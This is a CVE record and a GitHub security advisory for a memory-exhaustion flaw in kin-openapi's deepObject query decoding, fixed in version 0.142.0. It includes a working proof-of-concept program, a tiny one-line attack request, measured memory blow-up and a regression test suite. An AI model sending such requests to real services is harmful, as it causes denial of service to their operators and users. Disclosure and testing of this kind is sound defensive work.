{
  "affected": [
    {
      "affectedData": [
        {
          "product": "kin-openapi",
          "vendor": "getkin",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.124.0, \u003c 0.142.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "kin-openapi is a Go project for handling OpenAPI files. From 0.124.0 until 0.142.0, openapi3filter.sliceMapToSlice in openapi3filter/req_resp_decoder.go converts attacker-controlled sparse indexes from a deepObject query parameter into a dense slice by allocating entries from zero through the largest supplied index, after which buildResObj creates another slice of the same length. This allocation occurs before schema validation, so maxItems does not prevent it. An unauthenticated client can send a small query such as param[items][50000000]=x to an endpoint whose deepObject schema contains an array, forcing multi-gigabyte heap allocation and causing an OOM kill or restart loop. Other request-body encodings and styled parameters that do not produce bracketed integer indexes are not affected. This issue is fixed in version 0.142.0."
    }
  ],
  "id": "CVE-2026-77354",
  "lastModified": "2026-08-21T21:17:07.130",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-08-21T21:17:07.130",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/pull/923"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        },
        {
          "lang": "en",
          "value": "CWE-789"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/getkin/kin-openapi"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.124.0"
            },
            {
              "fixed": "0.142.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-77354"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-789"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-21T20:56:56Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn uncontrolled resource consumption vulnerability in `openapi3filter` lets any unauthenticated client force multi-gigabyte heap allocation with a single, tiny HTTP request. When a spec declares a `deepObject`-style query parameter whose schema contains an array (a normal, documented pattern), the decoder reconstructs the array by reading the **largest attacker-supplied index** and allocating one slot for every position from `0` up to that index \u2014 *before* schema validation (including `maxItems`) ever runs. A request as small as 24 bytes (`?param[items][50000000]=x`) drives heap allocation to **~6.1 GiB**, reliably triggering an OOM kill / restart loop on memory-constrained services.\n\n### Details\n\nThe OpenAPI `style: deepObject` serialization lets clients express arrays in the query string using bracket notation, e.g. `param[items][0]=a\u0026param[items][1]=b`. The decoder first collects these into an intermediate `map[string]any` keyed by the string of the index, then converts that sparse map into a real `[]any` in [`sliceMapToSlice`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L936):\n\n```go\n// req_resp_decoder.go (vulnerable version)\nfunc sliceMapToSlice(m map[string]any) ([]any, error) {\n\tvar result []any\n\tkeys := make([]int, 0, len(m))\n\tfor k := range m {\n\t\tkey, err := strconv.Atoi(k)          // \"50000000\" -\u003e 50000000, attacker-controlled\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"array indexes must be integers: %w\", err)\n\t\t}\n\t\tkeys = append(keys, key)\n\t}\n\tmax := -1\n\tfor _, k := range keys {\n\t\tif k \u003e max {\n\t\t\tmax = k                          // max = attacker\u0027s index, unbounded\n\t\t}\n\t}\n\tfor i := 0; i \u003c= max; i++ {              // \u003c-- unbounded loop, 0 .. max\n\t\tval, ok := m[strconv.Itoa(i)]\n\t\tif !ok {\n\t\t\tresult = append(result, nil)     // fills every sparse hole with nil\n\t\t\tcontinue\n\t\t}\n\t\tresult = append(result, val)\n\t}\n\treturn result, nil\n}\n```\n\nA second, equally-sized allocation follows immediately in [`buildResObj`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L986):\n\n```go\nresultArr := make([]any /*not 0,*/, len(arr))   // second allocation, size = max+1\nfor i := range arr {\n\tr, err := buildResObj(params, mapKeys, strconv.Itoa(i), schema.Value.Items)\n\t...\n}\n```\n\nSo a single attacker-chosen integer `N` produces an `append`-grown `[]any` of length `N+1`, a second `make([]any, N+1)`, and `N+1` recursion steps \u2014 with **no upper bound** other than `strconv.Atoi`\u0027s `int` range (~9.2\u00d710\u00b9\u2078 on 64-bit) and available memory.\n\n**Why `maxItems` does not help.** `maxItems` is enforced by schema *validation*, which runs strictly after parameter *decoding* completes. `sliceMapToSlice`/`buildResObj` fully materialize the oversized array first; validation only inspects \u2014 and rejects \u2014 the already-allocated result. The PoC below demonstrates this ordering directly: the returned error is the `maxItems` violation, proving the allocation happened before it could be prevented.\n\n**Why this is deepObject-specific.** Every other array-bearing surface was driven with an equivalent large-index/large-array payload and stayed under ~27 KiB: `application/json` bodies build arrays element-by-element from the literal (no \"index\" concept to inflate); `x-www-form-urlencoded` and `multipart/form-data` arrays are sized by the number of repeated fields actually sent; and the other `makeObject` call sites (path/`simple`, header/`simple`, cookie/`form`, at [`:479`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L479), [`:777`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L777), [`:841`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L841)) build their intermediate map via `propsFromString`, which splits on delimiters and produces property-name keys, never bracketed integer indexes. Only the deepObject `propsFn` ([`:661-687`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go#L661)) synthesizes the bracketed integer keys that reach `sliceMapToSlice` with an attacker-controlled magnitude.\n\n**Preconditions.** The target spec needs a query parameter with `in: query`, `style: deepObject` (typically `explode: true`), and a schema whose graph contains at least one `type: array`. This is an entirely normal, author-written spec \u2014 it is exactly the pattern the library\u0027s own decoder tests exercise. No hostile spec authoring is required, and the attack works regardless of any `maxItems` constraint on the array.\n\n**Introduced in.** `sliceMapToSlice`, including the unbounded `0..max` fill loop, was added whole-cloth in commit [`78bb273`](https://github.com/getkin/kin-openapi/commit/78bb273e5892da3b0c8fc31857499449adfaba6c) (\"openapi3filter: deepObject array of objects and array of arrays support (#923)\", merged 2024-03-22), which first shipped in **`v0.124.0`**. Every tagged release from `v0.124.0` through the current `v0.141.0` / `master` (`1d0a337`) contains the vulnerable code path.\n\n### PoC\n\nVerified against revision `1d0a337c9b1570fab283be8a04c8af6e43b9a22c` (`v0.141.0`, current `master` at the time of writing), Go 1.25.0, `darwin/arm64`.\n\n**1. Spec** \u2014 one operation accepting a `deepObject` query parameter whose `items` property is an array (`maxItems: 3` is declared deliberately, to prove it does not help):\n\n```yaml\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        \u0027200\u0027: {description: ok}\n```\n\n**2. Program** \u2014 build a request with a single huge array index and measure heap allocation across the same public entry point (`gorillamux` router \u2192 `openapi3filter.ValidateRequest`) any real HTTP server uses:\n\n```go\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"runtime\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, _ := loader.LoadFromData([]byte(spec))\n\t_ = doc.Validate(loader.Context)\n\trouter, _ := gorillamux.NewRouter(doc)\n\n\t// Attacker-controlled index. A 24-byte query string is enough to force\n\t// materialization of a 50-million-element slice.\n\tconst rawQuery = \"param[items][50000000]=x\"\n\n\tr, _ := http.NewRequest(http.MethodGet, \"/q?\"+rawQuery, nil)\n\troute, pp, _ := router.FindRoute(r)\n\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\n\terr := openapi3filter.ValidateRequest(context.Background(), \u0026openapi3filter.RequestValidationInput{\n\t\tRequest: r, PathParams: pp, Route: route,\n\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t})\n\n\truntime.ReadMemStats(\u0026after)\n\n\tfmt.Printf(\"query string: %q (%d bytes)\\n\", rawQuery, len(rawQuery))\n\tfmt.Printf(\"heap allocated during ValidateRequest: %.1f MiB\\n\", float64(after.TotalAlloc-before.TotalAlloc)/(1\u003c\u003c20))\n\tfmt.Printf(\"ValidateRequest error: %v\\n\", err)\n}\n```\n\n**3. Observed output** (`go run .`, unpatched tree, re-verified in this pass):\n\n```\nquery string: \"param[items][50000000]=x\" (24 bytes)\nheap allocated during ValidateRequest: 6231.1 MiB\nValidateRequest error: parameter \"param\" in query has an error: Error at \"/items\": maximum number of items is 3\n```\n\nA **24-byte query string drove ~6.1 GiB of heap allocation** in a single call, and the returned error is the `maxItems` rejection \u2014 proof that the array was fully materialized *before* validation could reject it. Scaling the index shows the amplification is linear and attacker-tunable (measured over several runs on this revision):\n\n| Query string | Wire size | Heap allocated | Amplification |\n|---|---|---|---|\n| `param[items][10000]=x` | 21 B | 0.9 MiB | ~44,000\u00d7 |\n| `param[items][100000]=x` | 22 B | 11.1 MiB | ~529,000\u00d7 |\n| `param[items][1000000]=x` | 23 B | 114 MiB | ~5,200,000\u00d7 |\n| `param[items][5000000]=x` | 23 B | 555 MiB | ~25,300,000\u00d7 |\n| `param[items][50000000]=x` | 24 B | **6.1 GiB** | ~272,000,000\u00d7 |\n\n**Attack request** (nothing else required \u2014 no body, no auth, no unusual headers):\n\n```\nGET /whatever?param[items][50000000]=x HTTP/1.1\nHost: victim\n```\n\n**Control (confirms only deepObject is a vector):** repeating the equivalent \"large array\" attempt against `application/json`, `application/x-www-form-urlencoded`, `multipart/form-data` bodies, and non-deepObject `path`/`header`/`cookie` styles stays under ~27 KiB in every case.\n\n**4. Regression/scaling test suite** \u2014 a broader harness driving the same public entry point, adding the ordering proof (`TestC02_AllocationBeforeValidation`), the nested-index amplifier, and the cross-encoding controls referenced above. Save as `openapi3filter/zzz_c02_verify_test.go` and run with `C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v` (unset `C02_BIG` to skip the two largest, slower indexes):\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"runtime\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\n// measureAlloc runs fn and reports the number of bytes of heap it caused to be\n// allocated (TotalAlloc delta), which counts even memory that was already freed\n// by the time fn returned. This captures transient allocation spikes.\nfunc measureAlloc(fn func()) uint64 {\n\tvar before, after runtime.MemStats\n\truntime.GC()\n\truntime.ReadMemStats(\u0026before)\n\tfn()\n\truntime.ReadMemStats(\u0026after)\n\treturn after.TotalAlloc - before.TotalAlloc\n}\n\nconst c02Spec = `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /q:\n    get:\n      parameters:\n        - name: param\n          in: query\n          style: deepObject\n          explode: true\n          schema:\n            type: object\n            properties:\n              items:\n                type: array\n                maxItems: 3\n                items: {type: string}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\nfunc c02Router(t *testing.T) (*openapi3.T, func(rawquery string) error) {\n\tt.Helper()\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(c02Spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvalidate := func(rawquery string) error {\n\t\treq, err := http.NewRequest(http.MethodGet, \"/q?\"+rawquery, nil)\n\t\trequire.NoError(t, err)\n\t\troute, pathParams, err := router.FindRoute(req)\n\t\trequire.NoError(t, err)\n\t\treturn openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest:    req,\n\t\t\tPathParams: pathParams,\n\t\t\tRoute:      route,\n\t\t\tOptions:    \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t}\n\treturn doc, validate\n}\n\n// TestC02_Reproduce_MemoryExhaustion measures the allocation caused by a single\n// tiny deepObject query with a large array index.\nfunc TestC02_Reproduce_MemoryExhaustion(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tbase := measureAlloc(func() {\n\t\t_ = validate(\"param[items][0]=a\u0026param[items][1]=b\u0026param[items][2]=c\")\n\t})\n\tt.Logf(\"baseline (3 legit items): %s allocated\", humanBytes(base))\n\n\tindexes := []int{10_000, 100_000, 1_000_000}\n\tif os.Getenv(\"C02_BIG\") == \"1\" {\n\t\tindexes = append(indexes, 5_000_000, 50_000_000)\n\t}\n\n\tconst fixThreshold = 32 \u003c\u003c 20 // 32 MiB: no fixed-tree request should approach this\n\tworst := uint64(0)\n\tfor _, idx := range indexes {\n\t\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\t\talloc := measureAlloc(func() {\n\t\t\terr := validate(q)\n\t\t\trequire.Error(t, err) // rejected either by the cap (fixed) or maxItems (vuln)\n\t\t})\n\t\tif alloc \u003e worst {\n\t\t\tworst = alloc\n\t\t}\n\t\tratio := float64(alloc) / float64(len(q))\n\t\tt.Logf(\"index=%-10d query=%dB -\u003e %s allocated (%.0fx over the query size)\",\n\t\t\tidx, len(q), humanBytes(alloc), ratio)\n\t}\n\trequire.Less(t, worst, uint64(fixThreshold),\n\t\t\"C-02 REGRESSION: a tiny deepObject query allocated %s; the sliceMapToSlice cap is missing or too high\",\n\t\thumanBytes(worst))\n}\n\n// TestC02_AllocationBeforeValidation checks the ordering: on the vulnerable\n// tree the huge allocation happened even though maxItems:3 is declared, proving\n// materialization precedes schema validation.\nfunc TestC02_AllocationBeforeValidation(t *testing.T) {\n\t_, validate := c02Router(t)\n\n\tconst idx = 2_000_000\n\tq := fmt.Sprintf(\"param[items][%d]=x\", idx)\n\n\tvar gotErr error\n\talloc := measureAlloc(func() {\n\t\tgotErr = validate(q)\n\t})\n\trequire.Error(t, gotErr)\n\tt.Logf(\"index=%d (query %d bytes) allocated %s; error: %v\",\n\t\tidx, len(q), humanBytes(alloc), gotErr)\n\n\t// On the vulnerable tree this value was ~225 MiB and this assertion fails,\n\t// flagging the regression. On the fixed tree it stays well under 32 MiB.\n\trequire.Less(t, alloc, uint64(32\u003c\u003c20),\n\t\t\"C-02 REGRESSION: index %d allocated %s before rejection\", idx, humanBytes(alloc))\n}\n\n// TestC02_OnlyDeepObjectAffected proves the blast radius: JSON, multipart, and\n// urlencoded array handling do NOT go through sliceMapToSlice, so an equivalent\n// \"large index\" payload in those encodings does not explode.\nfunc TestC02_OnlyDeepObjectAffected(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /b:\n    post:\n      requestBody:\n        content:\n          application/json:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          application/x-www-form-urlencoded:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n          multipart/form-data:\n            schema:\n              type: object\n              properties:\n                items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tdo := func(ct, body string) (error, uint64) {\n\t\tvar e error\n\t\talloc := measureAlloc(func() {\n\t\t\treq, _ := http.NewRequest(http.MethodPost, \"/b\", strings.NewReader(body))\n\t\t\treq.Header.Set(\"Content-Type\", ct)\n\t\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\t\trequire.NoError(t, rerr)\n\t\t\te = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t})\n\t\t})\n\t\treturn e, alloc\n\t}\n\n\t_, jsonAlloc := do(\"application/json\", `{\"items\":[\"a\",\"b\",\"c\",\"d\"]}`)\n\tt.Logf(\"JSON 4-elem array: %s\", humanBytes(jsonAlloc))\n\trequire.Less(t, jsonAlloc, uint64(4\u003c\u003c20), \"JSON path must not balloon\")\n\n\tform := url.Values{}\n\tform.Set(\"items\", \"a\")\n\tform.Add(\"items\", \"b\")\n\t_, formAlloc := do(\"application/x-www-form-urlencoded\", form.Encode())\n\tt.Logf(\"urlencoded repeated field: %s\", humanBytes(formAlloc))\n\trequire.Less(t, formAlloc, uint64(4\u003c\u003c20), \"urlencoded path must not balloon\")\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"items\", \"a\"))\n\trequire.NoError(t, w.WriteField(\"items\", \"b\"))\n\trequire.NoError(t, w.Close())\n\t_, mpAlloc := do(w.FormDataContentType(), buf.String())\n\tt.Logf(\"multipart fields: %s\", humanBytes(mpAlloc))\n\trequire.Less(t, mpAlloc, uint64(4\u003c\u003c20), \"multipart path must not balloon\")\n}\n\n// TestC02_NonDeepObjectStylesSafe checks the other makeObject entry points\n// (path/simple, header/simple, cookie/form). These build props via\n// propsFromString, whose keys are property names, not bracketed integer\n// indexes -- so a big number lands as a string key that fails strconv.Atoi\n// cleanly, without materializing a giant slice.\nfunc TestC02_NonDeepObjectStylesSafe(t *testing.T) {\n\tspec := `\nopenapi: \u00273.0.3\u0027\ninfo: {title: t, version: \u00271.0.0\u0027}\npaths:\n  /p/{param}:\n    get:\n      parameters:\n        - name: param\n          in: path\n          required: true\n          style: simple\n          explode: false\n          schema:\n            type: object\n            properties:\n              items: {type: array, maxItems: 3, items: {type: string}}\n      responses:\n        \u0027200\u0027: {description: ok}\n`\n\tloader := openapi3.NewLoader()\n\tctx := loader.Context\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(ctx))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\talloc := measureAlloc(func() {\n\t\treq, _ := http.NewRequest(http.MethodGet, \"/p/items,5000000\", nil)\n\t\troute, pathParams, rerr := router.FindRoute(req)\n\t\trequire.NoError(t, rerr)\n\t\t_ = openapi3filter.ValidateRequest(ctx, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\tt.Logf(\"path/simple object with big scalar: %s\", humanBytes(alloc))\n\trequire.Less(t, alloc, uint64(4\u003c\u003c20), \"path/simple must not balloon\")\n}\n\nfunc humanBytes(b uint64) string {\n\tconst unit = 1024\n\tif b \u003c unit {\n\t\treturn fmt.Sprintf(\"%d B\", b)\n\t}\n\tdiv, exp := uint64(unit), 0\n\tfor n := b / unit; n \u003e= unit; n /= unit {\n\t\tdiv *= unit\n\t\texp++\n\t}\n\treturn fmt.Sprintf(\"%.1f %ciB\", float64(b)/float64(div), \"KMGTPE\"[exp])\n}\n```\n\n**Observed output re-run in this pass** (`C02_BIG=1 go test -run TestC02 ./openapi3filter/ -v`):\n\n- **Unpatched tree** (fix reverted via `git stash push -- openapi3filter/req_resp_decoder.go`): `TestC02_Reproduce_MemoryExhaustion` reproduced the full scaling table above (10,000 \u2192 937.5 KiB through 50,000,000 \u2192 6.1 GiB), and `TestC02_AllocationBeforeValidation` measured **225.2 MiB** allocated for `index=2,000,000` before the `maxItems` rejection fired \u2014 both matching the standalone PoC\u0027s findings and failing their bounded-allocation assertions as expected.\n- **Patched tree** (fix restored): all five tests pass; the worst-case allocation across every index, including 50,000,000, drops to 51.1 KiB, and `TestC02_OnlyDeepObjectAffected` / `TestC02_NonDeepObjectStylesSafe` confirm the other encodings and parameter styles were never affected.\n\n### Impact\n\n- **Type:** Uncontrolled Resource Consumption (CWE-789, Memory Allocation with Excessive Size Value / CWE-400, Uncontrolled Resource Consumption) \u2192 **unauthenticated remote denial of service**.\n- **Who is impacted:** any application using `github.com/getkin/kin-openapi/openapi3filter` to validate requests against a spec that declares an `in: query`, `style: deepObject` parameter whose schema contains an array anywhere in its property graph. This is a normal, documented OpenAPI pattern, not a hostile or unusual spec.\n- **Attack:** a single unauthenticated `GET` request with a small, attacker-chosen query string (as few as ~21\u201324 bytes). No body, no credentials, no special client tooling, no chunked-encoding or `Content-Length` trickery \u2014 the trigger lives entirely in the query string, so request-body size limits do not mitigate it.\n- **Consequence:** a single request can force hundreds of megabytes to multiple gigabytes of heap allocation; a handful of concurrent requests reliably exhausts memory on typical container limits (256 MB\u20132 GB), producing an OOM kill / restart loop. The declared `maxItems` constraint on the array does **not** prevent this, because materialization happens during decoding, strictly before schema validation runs.\n- **Not affected:** specs that do not use `style: deepObject` for array-bearing query parameters; requests via `application/json`, `x-www-form-urlencoded`, or `multipart/form-data` bodies; and `path`/`header`/`cookie` styled object parameters (all verified empirically above, and re-verified in this pass).",
  "id": "GHSA-xhj3-7xw9-vr34",
  "modified": "2026-08-21T20:56:56Z",
  "published": "2026-08-21T20:56:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/security/advisories/GHSA-xhj3-7xw9-vr34"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/commit/1223a0f215d2cf9beb2d9eb9ea2649d001c21388"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getkin/kin-openapi"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getkin/kin-openapi/releases/tag/v0.142.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "kin-openapi has uncontrolled resource consumption in openapi3filter deepObject query parameter decoding"
}